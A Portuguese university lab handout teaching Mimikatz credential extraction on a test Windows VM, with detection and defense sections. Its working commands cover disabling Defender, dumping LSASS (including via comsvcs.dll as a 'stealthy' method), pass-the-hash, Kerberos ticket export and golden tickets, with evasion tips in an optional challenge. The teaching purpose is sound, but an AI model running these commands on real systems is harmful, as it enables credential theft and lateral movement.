Lab 8.1: Mimikatz - Extração de Credenciais Live
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Compreender como o Windows armazena credenciais na memória
- Utilizar o Mimikatz para extrair senhas em texto claro da RAM
- Extrair hashes NTLM para Pass-the-Hash
- Entender o funcionamento do LSASS (Local Security Authority Subsystem Service)
- Fazer dump de tickets Kerberos
- Realizar ataques Pass-the-Hash e Pass-the-Ticket
- Compreender por que o Credential Guard é essencial
- Detectar o uso do Mimikatz em um sistema
- Implementar proteções contra esses ataques
Duração Estimada
45 minutos
Pré-requisitos
- VM Windows 10/11
- Direitos de administrador
- Compreensão da autenticação Windows
- Lab 3.1 (extração de credenciais) concluído para contexto
- Antivírus temporariamente desativado (apenas para o lab)
Contexto Profissional
Mimikatz é a ferramenta mais famosa e temida em segurança Windows. Criada por Benjamin Delpy, ela demonstra que o Windows armazena credenciais na memória de forma recuperável.
Mimikatz é utilizado por:
- Pentesters em testes de intrusão
- Red Teams para simulações de ataque
- Atacantes APT (Advanced Persistent Threats)
- Ransomware para movimentação lateral
- Forense para investigação
Impacto histórico:
- Revelação das fraquezas no armazenamento de credenciais do Windows
- Utilizado em quase todos os grandes ataques desde 2011
- Ferramenta padrão em qualquer pentest Windows
- Forçou a Microsoft a desenvolver o Credential Guard
Ataques famosos usando Mimikatz:
- NotPetya (2017) - Ransomware devastador
- BadRabbit (2017) - Ransomware visando Ucrânia
- Carbanak (2015) - Roubo de 1 bilhão USD de bancos
- Industroyer (2016) - Ataque à infraestrutura elétrica
AVISO ÉTICO E LEGAL - EXTREMAMENTE IMPORTANTE
MIMIKATZ É UMA FERRAMENTA EXTREMAMENTE PODEROSA
Mimikatz permite extrair TODAS as senhas na memória, incluindo:
- Senhas em texto claro
- Hashes NTLM
- Tickets Kerberos
- Certificados
PERMITIDO APENAS:
- Em sua VM de teste pessoal
- Em sistemas dos quais você é proprietário
- No contexto de testes de penetração com contrato escrito e autorização explícita
- Para investigação forense com mandado legal
ESTRITAMENTE PROIBIDO:
- Em sistemas corporativos sem autorização formal
- Em computadores que não lhe pertencem
- Para roubo de credenciais de terceiros
- Para acesso não autorizado a sistemas
CONSEQUÊNCIAS LEGAIS: Uso não autorizado do Mimikatz = Acesso ilegal a sistema informático + Roubo de dados de autenticação (Código Penal art. 342.1). Crime grave com prisão e multas pesadas.
DETECÇÃO:
- Todos os antivírus detectam o Mimikatz imediatamente
- EDR (Endpoint Detection and Response) alerta em tempo real
- SIEM correlaciona eventos
- O uso deixa rastros nos logs
PARA ESTE LAB:
- VM Windows isolada (rede interna)
- Sem acesso à Internet
- Antivírus desativado SOMENTE durante o lab
- Reative imediatamente após
Parte 1: Compreendendo o Armazenamento de Credenciais no Windows
Etapa 1.1: LSASS (Local Security Authority Subsystem Service)
LSASS.exe:
- Processo crítico do Windows
- Gerencia a autenticação do usuário
- Armazena credenciais na memória para Single Sign-On (SSO)
- Executa com privilégios SYSTEM
O que o LSASS armazena:
Quando você faz login no Windows:
1. Você digita: username + password
2. O Windows valida as credenciais
3. O LSASS armazena na memória:
- Senha em texto claro (se WDigest ativado)
- Hash NTLM da senha
- Tickets Kerberos (se domínio Active Directory)
- Tokens de autenticação
Por quê: Para permitir SSO (Single Sign-On)
- Você digita a senha UMA vez no login
- O Windows a utiliza automaticamente para acesso à rede, serviços, etc.
- Prático MAS perigoso se comprometido!
Etapa 1.2: WDigest e Senhas em Texto Claro
Protocolo de Autenticação WDigest:
- Protocolo antigo para autenticação HTTP Digest
- Armazenava as senhas EM TEXTO CLARO no LSASS!
- Ativado por padrão no Windows 7, 8, Server 2008/2012
- Desativado por padrão desde o Windows 8.1 / Server 2012 R2
Verificar se o WDigest está ativado:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"
Resultado:
1= Ativado (senhas em texto claro armazenadas!)0ou ausente = Desativado (mais seguro)
Perguntas:
- O que é o LSASS e por que ele é crítico?
- O WDigest está ativado no seu sistema?
Etapa 1.3: Tipos de Credenciais Recuperáveis
Com o Mimikatz, você pode obter:
1. Senhas em texto claro (se WDigest ativado):
Username: admin
Password: MySecretPassword123!
2. Hash NTLM:
NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c
Uso: Pass-the-Hash (login sem senha!)
3. Tickets Kerberos:
Golden Ticket, Silver Ticket, TGT
Uso: Impersonation, acesso a recursos
4. Certificados:
Certificados de autenticação
Chaves privadas
Parte 2: Instalação e Preparação
Etapa 2.1: Download do Mimikatz
Fonte oficial:
- GitHub: https://github.com/gentilkiwi/mimikatz
- Releases: https://github.com/gentilkiwi/mimikatz/releases
Baixe:
mimikatz_trunk.zip(versão completa)- Extraia em
C:\Tools\mimikatz\
ATENÇÃO: O antivírus vai detectar e remover IMEDIATAMENTE!
Etapa 2.2: Desativando o Windows Defender
PowerShell como administrador:
Set-MpPreference -DisableRealtimeMonitoring $true
Adicionar exceção (alternativa):
Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"
Verificar:
Get-MpPreference | Select-Object DisableRealtimeMonitoring
Deve retornar: True
IMPORTANTE: Reative após o lab!
Set-MpPreference -DisableRealtimeMonitoring $false
Etapa 2.3: Ativar WDigest (Para Demo de Senhas em Texto Claro)
Para ver as senhas em texto claro, ative o WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Depois:
- Faça logout
- Faça login novamente com sua senha
- A senha agora está em memória em texto claro!
Perguntas: 3. O Windows Defender foi desativado? 4. O WDigest está agora ativado?
Parte 3: Primeira Utilização do Mimikatz
Etapa 3.1: Inicialização e Privilégios
Abra o CMD como ADMINISTRADOR
cd C:\Tools\mimikatz\x64
mimikatz.exe
Interface do Mimikatz se abre:
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
Obter privilégios de debug (CRÍTICO):
mimikatz # privilege::debug
Resultado esperado:
Privilege '20' OK
Se "ERROR": Você não é administrador!
Elevar ao token SYSTEM:
mimikatz # token::elevate
Resultado:
Token Id : 0
User name : NT AUTHORITY\SYSTEM
Agora você é SYSTEM!
Perguntas: 5. A obtenção do privilégio de debug foi bem-sucedida? 6. Qual é o seu nível de privilégio atual?
Parte 4: Extração de Senhas - O COMANDO MÁGICO
Etapa 4.1: sekurlsa::logonpasswords
O COMANDO MAIS PODEROSO DO MIMIKATZ:
mimikatz # sekurlsa::logonpasswords
AGUARDE ALGUNS SEGUNDOS...
RESULTADO (exemplo):
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
INCRÍVEL! A senha aparece EM TEXTO CLARO:
Password : MySecretPassword123!
TODOS os usuários conectados:
- Seu nome de usuário
- Seu domínio
- Sua senha EM TEXTO CLARO!
- Seu hash NTLM
- Seus tickets Kerberos
BOOM! É por isso que o Mimikatz é lendário!
Etapa 4.2: Análise dos Resultados
Cada sessão de usuário exibe:
msv (Microsoft Authentication Package):
- Hash NTLM
- Pode ser usado para Pass-the-Hash
tspkg (Terminal Services Package):
- Credenciais para Remote Desktop
wdigest:
- SENHA EM TEXTO CLARO (se WDigest ativado!)
- É aqui que vemos as senhas!
kerberos:
- Tickets de autenticação
- Senha em texto claro também (se disponível)
livessp:
- Credenciais para Live ID
Etapa 4.3: Extração Direcionada
Extrair apenas as senhas em texto claro:
mimikatz # sekurlsa::wdigest
Extrair apenas os hashes NTLM:
mimikatz # sekurlsa::msv
Extrair apenas tickets Kerberos:
mimikatz # sekurlsa::tickets
Perguntas: 7. Quantos usuários tinham sessões ativas? 8. Você conseguiu ver senhas em texto claro? 9. Se não, por quê? (Provavelmente WDigest desativado)
Parte 5: Ataque Pass-the-Hash
Etapa 5.1: Entendendo o Pass-the-Hash
Princípio:
Normalmente:
Usuário digita senha → Windows calcula hash NTLM → Usa hash para autenticação
Mas: O Windows aceita DIRETAMENTE o hash!
Portanto:
Atacante tem o hash (via Mimikatz)
↓
Usa o hash diretamente
↓
Login bem-sucedido SEM saber a senha!
É como: Usar a impressão digital de alguém sem a pessoa!
Etapa 5.2: Extração do Hash
Dos resultados do Mimikatz, anote um hash NTLM:
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Copie o hash: 8846f7eaee8fb117ad06bdd830b7586c
Etapa 5.3: Usando o Hash para Autenticação
Com o Mimikatz, autentique-se com o hash:
mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe
Resultado: Uma nova janela CMD se abre!
Essa sessão CMD está autenticada como Admin SEM ter digitado a senha!
Nesta nova CMD, teste:
whoami
Resultado: DESKTOP-ABC123\Admin
Acesse um compartilhamento de rede (se houver):
dir \\192.168.100.20\C$
Acesso bem-sucedido usando APENAS o hash!
Perguntas: 10. O Pass-the-Hash funcionou? 11. Quais recursos de rede você pode acessar com o hash?
Parte 6: Dump Completo do LSASS
Etapa 6.1: Método Alternativo - Gerenciador de Tarefas
Se o Mimikatz não estiver disponível, você pode fazer dump do LSASS:
- Abra o Gerenciador de Tarefas (Ctrl+Shift+Esc)
- Aba "Detalhes"
- Encontre
lsass.exe - Clique com o direito → "Criar arquivo de despejo"
- Arquivo criado:
lsass.DMP
Este arquivo contém TODAS as credenciais em memória!
Etapa 6.2: Analisar o Dump do LSASS com Mimikatz
Transfira o lsass.DMP para uma máquina de análise (offline):
Na máquina de análise (sem antivírus):
mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords
BOOM! Extração das credenciais a partir do dump!
Vantagem:
- Não precisa executar o Mimikatz na máquina alvo
- Análise offline (sem detecção em tempo real)
- Dump pode ser feito com ferramentas legítimas (ProcDump, Gerenciador de Tarefas)
Comando ProcDump (Sysinternals - legítimo!):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Menos suspeito que o Mimikatz!
Etapa 6.3: Automação
Script PowerShell para dump automático:
# Encontrar PID do LSASS
$lsassPID = (Get-Process lsass).Id
# Criar dump com comsvcs.dll (método nativo do Windows!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full
Write-Host "LSASS dumped to C:\Temp\lsass.dmp"
Método furtivo: Usa uma DLL legítima do Windows!
Perguntas: 12. O dump do LSASS via Gerenciador de Tarefas funcionou? 13. Você conseguiu extrair credenciais do dump offline?
Parte 7: Tickets Kerberos e Golden Ticket
Etapa 7.1: Extrair Tickets Kerberos
Listar todos os tickets:
mimikatz # sekurlsa::tickets
Resultado:
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
Os tickets contêm:
- TGT (Ticket Granting Ticket)
- Tickets de serviço
- Permitem acesso sem nova autenticação
Etapa 7.2: Exportar Tickets
Exportar todos os tickets em arquivos:
mimikatz # sekurlsa::tickets /export
Arquivos criados:
[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...
Esses arquivos .kirbi são os tickets!
Importe-os em outra máquina:
mimikatz # kerberos::ptt Admin.kirbi
Resultado: Acesso com a identidade de Admin em outra máquina!
Etapa 7.3: Golden Ticket (Domínio AD)
NOTA: Requer ambiente Active Directory.
Se você tem o hash NTLM da conta KRBTGT:
mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt
Resultado: Ticket de administrador PERMANENTE!
Golden Ticket permite:
- Acesso a todos os recursos do domínio
- Válido por 10 anos por padrão
- Indetectável (exceto monitoramento Kerberos)
- Sobrevive à troca de senha!
Perguntas: 14. Quantos tickets Kerberos você extraiu? 15. O que é um Golden Ticket e por que ele é tão perigoso?
Parte 8: Outras Funcionalidades do Mimikatz
Etapa 8.1: Dump SAM Local
Extrair hash de TODOS os usuários locais:
mimikatz # lsadump::sam
Resultado:
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
Todos os usuários locais do Windows!
Alternativa (mais furtivo):
mimikatz # lsadump::secrets
Extrai também:
- Senha da conta da máquina
- Senhas de contas de serviço
- Chaves mestre DPAPI
Etapa 8.2: Certificados e Chaves Privadas
Exportar certificados armazenados:
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export
Arquivos criados: Certificados e chaves privadas!
Uso:
- Autenticação por certificado
- Assinatura de código
- Criptografia de dados
Etapa 8.3: Vault e Credential Manager
O Gerenciador de Credenciais do Windows armazena:
- Credenciais para Remote Desktop
- Credenciais de rede
- Credenciais web
- Credenciais genéricas
Extrair:
mimikatz # vault::list
mimikatz # vault::cred
Resultado:
Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123
Credenciais armazenadas no Credential Manager reveladas!
Perguntas: 16. Quantas credenciais estão armazenadas no Credential Manager? 17. Existem senhas RDP salvas?
Parte 9: Detecção do Mimikatz
Etapa 9.1: Assinaturas de Antivírus
Todos os antivírus detectam o Mimikatz:
Teste:
Reative o Defender:
Set-MpPreference -DisableRealtimeMonitoring $false
Tente executar o Mimikatz:
mimikatz.exe
Resultado: Remoção imediata pelo Defender!
Logs do Windows Defender:
Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}
Etapa 9.2: Detecção Comportamental (EDR)
Comportamentos suspeitos detectados por EDR:
-
Acesso ao processo LSASS:
- Event ID 4656: Handle para LSASS
- Processo: Unknown.exe
- Acesso: Read Memory
-
Privilégio SeDebugPrivilege:
- Event ID 4672: Privilégios especiais atribuídos
- Necessário para dump do LSASS
-
Leitura de memória do LSASS:
- API: OpenProcess, ReadProcessMemory
- Alvo: lsass.exe
- Sinal vermelho imediato!
Consulta de logs Sysmon:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} |
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List
Event ID 10: ProcessAccess (acesso a um processo)
Etapa 9.3: Detecção via Análise de Memória
Strings na memória do Mimikatz:
strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"
Assinaturas únicas:
- "gentilkiwi" (autor)
- "sekurlsa"
- "A La Vie, A L'Amour" (lema)
Scan de memória:
Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}
Perguntas: 18. O Windows Defender detectou o Mimikatz? 19. Como um EDR detectaria o Mimikatz mesmo com o antivírus desativado?
Parte 10: Defesas contra o Mimikatz
Etapa 10.1: Credential Guard
Windows 10/11 Enterprise - Credential Guard:
Proteção de hardware contra dump de credenciais:
- Utiliza Virtualization-Based Security (VBS)
- O LSASS executa em contêiner isolado
- O Mimikatz NÃO consegue acessar as credenciais
Verificar se está ativado:
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning
Ativação (Windows Pro/Enterprise + TPM):
# Via registro
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# Reboot necessário
shutdown /r /t 0
Com o Credential Guard: O Mimikatz falha!
Etapa 10.2: Proteções Complementares
1. Protected Users Group:
Adicionar usuários ao grupo "Protected Users":
Add-ADGroupMember -Identity "Protected Users" -Members Admin
Proteções:
- Sem cache NTLM
- Sem CredSSP
- Sem Kerberos DES/RC4
2. Desativar WDigest (se ainda não feito):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
3. LSA Protection (RunAsPPL):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
O LSASS executa como Protected Process:
- Mais difícil de fazer dump
- Mimikatz básico falha
- Requer driver para contornar
4. Antivírus e EDR:
- Detecção de assinaturas
- Detecção comportamental
- Bloqueio de acesso ao LSASS
5. Logging e Monitoramento:
- Sysmon com configuração apropriada
- Event ID 4656, 4672, 10 (Sysmon)
- Alertas sobre acesso ao LSASS
Etapa 10.3: Boas Práticas
Administração:
- Usar contas separadas (admin vs usuário comum)
- Não usar conta admin para navegação web
- Desconectar sessões quando não utilizadas
- Não usar Domain Admin em estações de trabalho
- Jump boxes para administração
Técnico:
- Credential Guard em todas as máquinas
- Protected Users para contas privilegiadas
- LAPS (Local Administrator Password Solution)
- Rotação regular de senhas
- 2FA em todos os lugares possíveis
Monitoramento:
- Alertas sobre acesso ao LSASS
- Detecção de dump de processo
- Baseline de comportamentos normais
- Correlação de eventos (SIEM)
Perguntas: 20. O Credential Guard está ativado no seu sistema? 21. Quais outras medidas você recomendaria?
Entregáveis
A entregar:
-
Relatório de exploração (Word/PDF, 5-6 páginas):
- Respostas às 21 perguntas
- Metodologia de uso do Mimikatz
- Capturas completas dos resultados
- Análise das credenciais extraídas (ANONIMIZADAS!)
- Explicação técnica do funcionamento
-
Capturas de tela (mínimo 8):
- Interface do Mimikatz
- Comando privilege::debug bem-sucedido
- Resultado do sekurlsa::logonpasswords (SENHAS OFUSCADAS SE REAIS!)
- Hashes NTLM extraídos
- Pass-the-Hash em ação
- Dump do LSASS via Gerenciador de Tarefas
- Tentativa com Defender ativado (bloqueado)
- Configuração do Credential Guard
-
Documentação técnica (3 páginas):
- Explicação detalhada do LSASS
- Processo de armazenamento de credenciais na memória
- Por que o Mimikatz funciona
- Evolução das proteções da Microsoft
-
Plano de defesa (2 páginas):
- Medidas de proteção em múltiplas camadas
- Configuração do Credential Guard
- Política de gestão de contas privilegiadas
- Estratégia de monitoramento e detecção
Critérios de Avaliação
| Critério | Pontos |
|---|---|
| Compreensão do funcionamento do Mimikatz e LSASS | 25% |
| Extração bem-sucedida de credenciais | 25% |
| Realização do Pass-the-Hash | 20% |
| Documentação técnica completa | 15% |
| Plano de defesa realista | 15% |
Comandos de Referência Rápida
Preparação
# Desativar Defender (apenas para o lab!)
Set-MpPreference -DisableRealtimeMonitoring $true
# Ativar WDigest (para senhas em texto claro)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Essenciais do Mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets
Pass-the-Hash
mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe
Dump do LSASS
# GUI do Gerenciador de Tarefas
# OU
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# OU
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full
Análise do Dump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Proteção
# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
# Desativar WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
Solução de Problemas
Problema: "ERROR kuhl_m_sekurlsa_acquireLSA"
Solução: O Mimikatz não tem os privilégios necessários.
- Execute o CMD como administrador
- Verifique se
privilege::debugretorna "OK" - Tente
token::elevate
Problema: Nenhuma senha em texto claro exibida
Motivo: WDigest desativado (normal no Windows 10+)
Soluções:
- Ative o WDigest (veja Etapa 2.3)
- Faça logout e login novamente
- Os hashes NTLM ainda estão disponíveis mesmo sem WDigest
Problema: "Access Denied" ao fazer dump do LSASS
Solução:
- Execute como administrador
- O antivírus pode bloquear (desative temporariamente)
- Alguns EDR bloqueiam mesmo para admin
Indo Além (Opcional)
Desafio 1: Evasão do Mimikatz
Técnicas para evitar detecção:
- Ofuscação do binário
- Carregamento em memória (invoke-mimikatz)
- Modificação do código-fonte e recompilação
- Uso de alternativas (pypykatz, lsassy)
Desafio 2: Análise Forense
Em uma máquina comprometida:
- Identificar rastros do Mimikatz
- Analisar logs para reconstrução da timeline
- Identificar credenciais comprometidas
- Avaliar impacto e escopo da violação
Desafio 3: Alternativas ao Mimikatz
Pesquise e teste:
- pypykatz (implementação em Python)
- lsassy (Dump do LSASS via SMB)
- SharpKatz (implementação em C#)
- SafetyKatz (execução in-memory)
Recursos Adicionais
- Mimikatz Official GitHub
- Mimikatz Wiki
- Microsoft: Credential Guard
- MITRE ATT&CK: Credential Dumping
- Detecting Mimikatz
Conclusão
Este lab ensinou você a:
- Utilizar o Mimikatz, a ferramenta lendária de dump de credenciais
- Extrair senhas em texto claro da memória RAM
- Técnica de Pass-the-Hash para autenticação sem senha
- Manipulação de tickets Kerberos
- Múltiplos métodos de dump do LSASS
- Detecção e defesas contra esses ataques
Lições críticas:
- O Windows armazena credenciais na memória de forma recuperável
- Acesso de administrador = Acesso a TODAS as credenciais em memória
- WDigest (se ativado) armazena senhas EM TEXTO CLARO
- Hash NTLM é suficiente para autenticação (Pass-the-Hash)
- Credential Guard é a única proteção real
- Detecção é fácil, mas prevenção é complexa
Impacto deste conhecimento:
- Compreensão profunda da autenticação Windows
- Importância da separação de privilégios
- Necessidade de monitoramento e detecção
- Credential Guard = Obrigatório em empresas
- Nunca usar contas admin para tarefas do dia a dia
Mensagem final:
Você acabou de aprender a usar a ferramenta mais poderosa e temida em segurança Windows. O Mimikatz revolucionou o pentest e forçou a Microsoft a repensar sua arquitetura de segurança.
Com grande poder vem grande responsabilidade.
Use o Mimikatz apenas:
- Em suas VMs de teste
- No contexto de pentests autorizados
- Para entender e DEFENDER contra esses ataques
NUNCA para:
- Roubo de credenciais de terceiros
- Acesso não autorizado
- Comprometimento malicioso
Agora você entende por que:
- Os antivírus detectam o Mimikatz instantaneamente
- Os EDR alertam sobre acesso ao LSASS
- Credential Guard é essencial
- A segurança do Windows evoluiu desde o Windows 10
Próxima etapa: Lab 8.2 onde você aprenderá a contornar antivírus com ofuscação e AMSI bypass!
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 8